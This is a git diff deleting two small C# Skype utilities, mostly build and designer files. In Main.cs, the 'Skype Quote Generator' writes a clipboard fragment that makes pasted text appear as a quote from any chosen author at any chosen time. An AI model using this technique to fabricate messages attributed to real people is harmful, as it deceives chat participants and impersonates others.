-  </xsd:schema>
-  <resheader name="resmimetype">
-    <value>text/microsoft-resx</value>
-  </resheader>
-  <resheader name="version">
-    <value>2.0</value>
-  </resheader>
-  <resheader name="reader">
-    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
-  </resheader>
-  <resheader name="writer">
-    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
-  </resheader>
-</root>
-\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs b/c#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs
@@ -1,30 +0,0 @@
-//------------------------------------------------------------------------------
-// <auto-generated>
-//     This code was generated by a tool.
-//     Runtime Version:4.0.30319.18449
-//
-//     Changes to this file may cause incorrect behavior and will be lost if
-//     the code is regenerated.
-// </auto-generated>
-//------------------------------------------------------------------------------
-
-namespace SKClean.Properties
-{
-
-
-    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
-    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
-    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
-    {
-
-        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
-
-        public static Settings Default
-        {
-            get
-            {
-                return defaultInstance;
-            }
-        }
-    }
-}
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Settings.settings b/c#/SKClean/SKClean/SKClean/Properties/Settings.settings
@@ -1,7 +0,0 @@
-<?xml version='1.0' encoding='utf-8'?>
-<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
-  <Profiles>
-    <Profile Name="(Default)" />
-  </Profiles>
-  <Settings />
-</SettingsFile>
diff --git a/c#/SKClean/SKClean/SKClean/SKClean.csproj b/c#/SKClean/SKClean/SKClean/SKClean.csproj
@@ -1,106 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
-  <PropertyGroup>
-    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
-    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
-    <ProjectGuid>{07708324-3B4B-43AA-A630-9FD2263C8134}</ProjectGuid>
-    <OutputType>WinExe</OutputType>
-    <AppDesignerFolder>Properties</AppDesignerFolder>
-    <RootNamespace>SKClean</RootNamespace>
-    <AssemblyName>SKClean</AssemblyName>
-    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
-    <FileAlignment>512</FileAlignment>
-  </PropertyGroup>
-  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
-    <PlatformTarget>AnyCPU</PlatformTarget>
-    <DebugSymbols>true</DebugSymbols>
-    <DebugType>full</DebugType>
-    <Optimize>false</Optimize>
-    <OutputPath>bin\Debug\</OutputPath>
-    <DefineConstants>DEBUG;TRACE</DefineConstants>
-    <ErrorReport>prompt</ErrorReport>
-    <WarningLevel>4</WarningLevel>
-    <UseVSHostingProcess>false</UseVSHostingProcess>
-  </PropertyGroup>
-  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
-    <PlatformTarget>AnyCPU</PlatformTarget>
-    <DebugType>pdbonly</DebugType>
-    <Optimize>true</Optimize>
-    <OutputPath>bin\Release\</OutputPath>
-    <DefineConstants>TRACE</DefineConstants>
-    <ErrorReport>prompt</ErrorReport>
-    <WarningLevel>4</WarningLevel>
-  </PropertyGroup>
-  <PropertyGroup>
-    <ApplicationIcon>icon.ico</ApplicationIcon>
-  </PropertyGroup>
-  <ItemGroup>
-    <Reference Include="System" />
-    <Reference Include="System.Core" />
-    <Reference Include="System.Xml.Linq" />
-    <Reference Include="System.Data.DataSetExtensions" />
-    <Reference Include="Microsoft.CSharp" />
-    <Reference Include="System.Data" />
-    <Reference Include="System.Deployment" />
-    <Reference Include="System.Drawing" />
-    <Reference Include="System.Windows.Forms" />
-    <Reference Include="System.Xml" />
-  </ItemGroup>
-  <ItemGroup>
-    <Compile Include="Main.cs">
-      <SubType>Form</SubType>
-    </Compile>
-    <Compile Include="Main.Designer.cs">
-      <DependentUpon>Main.cs</DependentUpon>
-    </Compile>
-    <Compile Include="Program.cs" />
-    <Compile Include="Properties\AssemblyInfo.cs" />
-    <EmbeddedResource Include="Main.resx">
-      <DependentUpon>Main.cs</DependentUpon>
-    </EmbeddedResource>
-    <EmbeddedResource Include="Properties\Resources.resx">
-      <Generator>ResXFileCodeGenerator</Generator>
-      <LastGenOutput>Resources.Designer.cs</LastGenOutput>
-      <SubType>Designer</SubType>
-    </EmbeddedResource>
-    <Compile Include="Properties\Resources.Designer.cs">
-      <AutoGen>True</AutoGen>
-      <DependentUpon>Resources.resx</DependentUpon>
-    </Compile>
-    <None Include="Properties\Settings.settings">
-      <Generator>SettingsSingleFileGenerator</Generator>
-      <LastGenOutput>Settings.Designer.cs</LastGenOutput>
-    </None>
-    <Compile Include="Properties\Settings.Designer.cs">
-      <AutoGen>True</AutoGen>
-      <DependentUpon>Settings.settings</DependentUpon>
-      <DesignTimeSharedInput>True</DesignTimeSharedInput>
-    </Compile>
-  </ItemGroup>
-  <ItemGroup>
-    <None Include="App.config" />
-  </ItemGroup>
-  <ItemGroup>
-    <COMReference Include="SKYPE4COMLib">
-      <Guid>{03282B5D-B38F-469D-849A-09B0A7F4881B}</Guid>
-      <VersionMajor>1</VersionMajor>
-      <VersionMinor>0</VersionMinor>
-      <Lcid>0</Lcid>
-      <WrapperTool>tlbimp</WrapperTool>
-      <Isolated>False</Isolated>
-      <EmbedInteropTypes>True</EmbedInteropTypes>
-    </COMReference>
-  </ItemGroup>
-  <ItemGroup>
-    <Content Include="icon.ico" />
-  </ItemGroup>
-  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
-  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
-       Other similar extension points exist, see Microsoft.Common.targets.
-  <Target Name="BeforeBuild">
-  </Target>
-  <Target Name="AfterBuild">
-  </Target>
-  -->
-</Project>
-\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="utf-8" ?>
-<configuration>
-    <startup> 
-        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
-    </startup>
-</configuration>
-\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="utf-8" ?>
-<configuration>
-    <startup> 
-        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
-    </startup>
-</configuration>
-\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/icon.ico b/c#/SKClean/SKClean/SKClean/icon.ico
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll b/c#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt
@@ -1,33 +0,0 @@
-c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.exe.config
-c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.exe
-c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.pdb
-c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
-c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
-c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
-c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.Main.resources
-c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
-c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
-c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.exe
-c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.pdb
-C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe.config
-C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe
-C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.pdb
-C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
-C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
-C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
-C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.Main.resources
-C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
-C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
-C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.exe
-C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\obj\Debug\SKClean.pdb
-C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe.config
-C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe
-C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\bin\Debug\SKClean.pdb
-C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
-C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
-C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
-C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.Main.resources
-C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
-C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
-C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.exe
-C:\Users\Kayla\Desktop\c#\SKClean\SKClean\SKClean\obj\Debug\SKClean.pdb
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
diff --git a/c#/Skype Quote Generator/Skype Quote Generator.exe b/c#/Skype Quote Generator/Skype Quote Generator.exe
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo b/c#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo
Binary files differ.
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote.sln b/c#/Skype Quote Generator/Source/SkypeQuote.sln
@@ -1,22 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio 14
-VisualStudioVersion = 14.0.23107.0
-MinimumVisualStudioVersion = 10.0.40219.1
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SkypeQuote", "SkypeQuote\SkypeQuote.csproj", "{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|Any CPU = Debug|Any CPU
-		Release|Any CPU = Release|Any CPU
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
-		{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Debug|Any CPU.Build.0 = Debug|Any CPU
-		{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Release|Any CPU.ActiveCfg = Release|Any CPU
-		{D1F9E552-3450-4593-A23F-AC68B5F0FEF9}.Release|Any CPU.Build.0 = Release|Any CPU
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-EndGlobal
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/App.config b/c#/Skype Quote Generator/Source/SkypeQuote/App.config
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<configuration>
-    <startup> 
-        
-    <supportedRuntime version="v2.0.50727"/></startup>
-</configuration>
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd b/c#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd
@@ -1,2 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<ClassDiagram /> 
-\ No newline at end of file
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs
@@ -1,152 +0,0 @@
-namespace SkypeQuote
-{
-    partial class Main
-    {
-        /// <summary>
-        /// Required designer variable.
-        /// </summary>
-        private System.ComponentModel.IContainer components = null;
-
-        /// <summary>
-        /// Clean up any resources being used.
-        /// </summary>
-        /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
-        protected override void Dispose(bool disposing)
-        {
-            if (disposing && (components != null))
-            {
-                components.Dispose();
-            }
-            base.Dispose(disposing);
-        }
-
-        #region Windows Form Designer generated code
-
-        /// <summary>
-        /// Required method for Designer support - do not modify
-        /// the contents of this method with the code editor.
-        /// </summary>
-        private void InitializeComponent()
-        {
-            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));
-            this.NameBox = new System.Windows.Forms.TextBox();
-            this.label1 = new System.Windows.Forms.Label();
-            this.label2 = new System.Windows.Forms.Label();
-            this.TimeBox = new System.Windows.Forms.TextBox();
-            this.MessageBox = new System.Windows.Forms.TextBox();
-            this.label3 = new System.Windows.Forms.Label();
-            this.CopyButton = new System.Windows.Forms.Button();
-            this.NowButton = new System.Windows.Forms.Button();
-            this.SuspendLayout();
-            // 
-            // NameBox
-            // 
-            this.NameBox.Location = new System.Drawing.Point(79, 10);
-            this.NameBox.Name = "NameBox";
-            this.NameBox.Size = new System.Drawing.Size(158, 20);
-            this.NameBox.TabIndex = 0;
-            // 
-            // label1
-            // 
-            this.label1.AutoSize = true;
-            this.label1.Location = new System.Drawing.Point(13, 13);
-            this.label1.Name = "label1";
-            this.label1.Size = new System.Drawing.Size(38, 13);
-            this.label1.TabIndex = 1;
-            this.label1.Text = "Name:";
-            // 
-            // label2
-            // 
-            this.label2.AutoSize = true;
-            this.label2.Location = new System.Drawing.Point(12, 39);
-            this.label2.Name = "label2";
-            this.label2.Size = new System.Drawing.Size(61, 13);
-            this.label2.TabIndex = 2;
-            this.label2.Text = "Timestamp:";
-            // 
-            // TimeBox
-            // 
-            this.TimeBox.Location = new System.Drawing.Point(79, 38);
-            this.TimeBox.Name = "TimeBox";
-            this.TimeBox.Size = new System.Drawing.Size(114, 20);
-            this.TimeBox.TabIndex = 3;
-            // 
-            // MessageBox
-            // 
-            this.MessageBox.Location = new System.Drawing.Point(79, 65);
-            this.MessageBox.Multiline = true;
-            this.MessageBox.Name = "MessageBox";
-            this.MessageBox.Size = new System.Drawing.Size(158, 69);
-            this.MessageBox.TabIndex = 4;
-            // 
-            // label3
-            // 
-            this.label3.AutoSize = true;
-            this.label3.Location = new System.Drawing.Point(12, 68);
-            this.label3.Name = "label3";
-            this.label3.Size = new System.Drawing.Size(53, 13);
-            this.label3.TabIndex = 5;
-            this.label3.Text = "Message:";
-            // 
-            // CopyButton
-            // 
-            this.CopyButton.Location = new System.Drawing.Point(12, 140);
-            this.CopyButton.Name = "CopyButton";
-            this.CopyButton.Size = new System.Drawing.Size(225, 23);
-            this.CopyButton.TabIndex = 6;
-            this.CopyButton.Text = "Copy To Clipboard";
-            this.CopyButton.UseVisualStyleBackColor = true;
-            this.CopyButton.Click += new System.EventHandler(this.CopyButton_Click);
-            // 
-            // NowButton
-            // 
-            this.NowButton.Location = new System.Drawing.Point(199, 36);
-            this.NowButton.Name = "NowButton";
-            this.NowButton.Size = new System.Drawing.Size(38, 23);
-            this.NowButton.TabIndex = 7;
-            this.NowButton.Text = "Now";
-            this.NowButton.UseVisualStyleBackColor = true;
-            this.NowButton.Click += new System.EventHandler(this.NowButton_Click);
-            // 
-            // Main
-            // 
-            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
-            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
-            this.ClientSize = new System.Drawing.Size(249, 170);
-            this.Controls.Add(this.NowButton);
-            this.Controls.Add(this.CopyButton);
-            this.Controls.Add(this.label3);
-            this.Controls.Add(this.MessageBox);
-            this.Controls.Add(this.TimeBox);
-            this.Controls.Add(this.label2);
-            this.Controls.Add(this.label1);
-            this.Controls.Add(this.NameBox);
-            this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
-            this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
-            this.MaximizeBox = false;
-            this.MaximumSize = new System.Drawing.Size(265, 209);
-            this.MinimizeBox = false;
-            this.MinimumSize = new System.Drawing.Size(265, 209);
-            this.Name = "Main";
-            this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
-            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
-            this.Text = "Skype Quote Generator";
-            this.Load += new System.EventHandler(this.Main_Load);
-            this.ResumeLayout(false);
-            this.PerformLayout();
-
-        }
-
-        #endregion
-
-        private System.Windows.Forms.TextBox NameBox;
-        private System.Windows.Forms.Label label1;
-        private System.Windows.Forms.Label label2;
-        private System.Windows.Forms.TextBox TimeBox;
-        private System.Windows.Forms.TextBox MessageBox;
-        private System.Windows.Forms.Label label3;
-        private System.Windows.Forms.Button CopyButton;
-        private System.Windows.Forms.Button NowButton;
-    }
-}
-
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Main.cs
@@ -1,44 +0,0 @@
-using System;
-using System.Globalization;
-using System.IO;
-using System.Text;
-using System.Windows.Forms;
-
-
-namespace SkypeQuote {
-    public partial class Main : Form {
-        private static readonly DateTime LinuxTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
-
-        public Main() {
-            InitializeComponent();
-        }
-
-        private void Main_Load(object sender, EventArgs e) {
-            this.TimeBox.Text = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
-        }
-
-        private void NowButton_Click(object sender, EventArgs e) {
-            this.TimeBox.Text = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
-        }
-
-        private void CopyButton_Click(object sender, EventArgs e) {
-            Clipboard.SetText(" ");
-            DateTime dateTime;
-            if (!DateTime.TryParse(this.TimeBox.Text, out dateTime)) {
-                System.Windows.Forms.MessageBox.Show("Invalid timestamp format!");
-                return;
-            }
-            string user = this.NameBox.Text;
-            string message = this.MessageBox.Text;
-            string skypeMessageFragment = String.Format("<quote author=\"{0}\" timestamp=\"{1}\">{2}</quote>", user, (dateTime.ToUniversalTime() - LinuxTime).TotalSeconds, message);
-            IDataObject dataObject = new DataObject();
-            dataObject.SetData("System.String", message);
-            dataObject.SetData("Text", message);
-            dataObject.SetData("UnicodeText", message);
-            dataObject.SetData("OEMText", message);
-            dataObject.SetData("SkypeMessageFragment", new MemoryStream(Encoding.UTF8.GetBytes(skypeMessageFragment)));
-            dataObject.SetData("Locale", new MemoryStream(BitConverter.GetBytes(CultureInfo.CurrentCulture.LCID)));
-            Clipboard.SetDataObject(dataObject);
-        }
-    }
-}
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.resx b/c#/Skype Quote Generator/Source/SkypeQuote/Main.resx
@@ -1,1253 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<root>
-  <!-- 
-    Microsoft ResX Schema 
-    
-    Version 2.0
-    
-    The primary goals of this format is to allow a simple XML format 
-    that is mostly human readable. The generation and parsing of the 
-    various data types are done through the TypeConverter classes 
-    associated with the data types.
-    
-    Example:
-    
-    ... ado.net/XML headers & schema ...
-    <resheader name="resmimetype">text/microsoft-resx</resheader>
-    <resheader name="version">2.0</resheader>
-    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
-    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
-    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
-    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
-    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
-        <value>[base64 mime encoded serialized .NET Framework object]</value>
-    </data>
-    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
-        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
-        <comment>This is a comment</comment>
-    </data>
-                
-    There are any number of "resheader" rows that contain simple 
-    name/value pairs.
-    
-    Each data row contains a name, and value. The row also contains a 
-    type or mimetype. Type corresponds to a .NET class that support 
-    text/value conversion through the TypeConverter architecture. 
-    Classes that don't support this are serialized and stored with the 
-    mimetype set.
-    
-    The mimetype is used for serialized objects, and tells the 
-    ResXResourceReader how to depersist the object. This is currently not 
-    extensible. For a given mimetype the value must be set accordingly:
-    
-    Note - application/x-microsoft.net.object.binary.base64 is the format 
-    that the ResXResourceWriter will generate, however the reader can 
-    read any of the formats listed below.
-    
-    mimetype: application/x-microsoft.net.object.binary.base64
-    value   : The object must be serialized with 
-            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
-            : and then encoded with base64 encoding.
-    
-    mimetype: application/x-microsoft.net.object.soap.base64
-    value   : The object must be serialized with 
-            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
-            : and then encoded with base64 encoding.
-
-    mimetype: application/x-microsoft.net.object.bytearray.base64
-    value   : The object must be serialized into a byte array 
-            : using a System.ComponentModel.TypeConverter
-            : and then encoded with base64 encoding.
-    -->
-  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
-    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
-    <xsd:element name="root" msdata:IsDataSet="true">
-      <xsd:complexType>
-        <xsd:choice maxOccurs="unbounded">
-          <xsd:element name="metadata">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" />
-              </xsd:sequence>
-              <xsd:attribute name="name" use="required" type="xsd:string" />
-              <xsd:attribute name="type" type="xsd:string" />
-              <xsd:attribute name="mimetype" type="xsd:string" />
-              <xsd:attribute ref="xml:space" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="assembly">
-            <xsd:complexType>
-              <xsd:attribute name="alias" type="xsd:string" />
-              <xsd:attribute name="name" type="xsd:string" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="data">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
-                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
-              </xsd:sequence>
-              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
-              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
-              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
-              <xsd:attribute ref="xml:space" />
-            </xsd:complexType>
-          </xsd:element>
-          <xsd:element name="resheader">
-            <xsd:complexType>
-              <xsd:sequence>
-                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
-              </xsd:sequence>
-              <xsd:attribute name="name" type="xsd:string" use="required" />
-            </xsd:complexType>
-          </xsd:element>
-        </xsd:choice>
-      </xsd:complexType>
-    </xsd:element>
-  </xsd:schema>
-  <resheader name="resmimetype">
-    <value>text/microsoft-resx</value>
-  </resheader>
-  <resheader name="version">
-    <value>2.0</value>
-  </resheader>
-  <resheader name="reader">
-    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
-  </resheader>
-  <resheader name="writer">
-    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
-  </resheader>
-  <assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
-  <data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
-    <value>
-        AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAABABILAAASCwAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
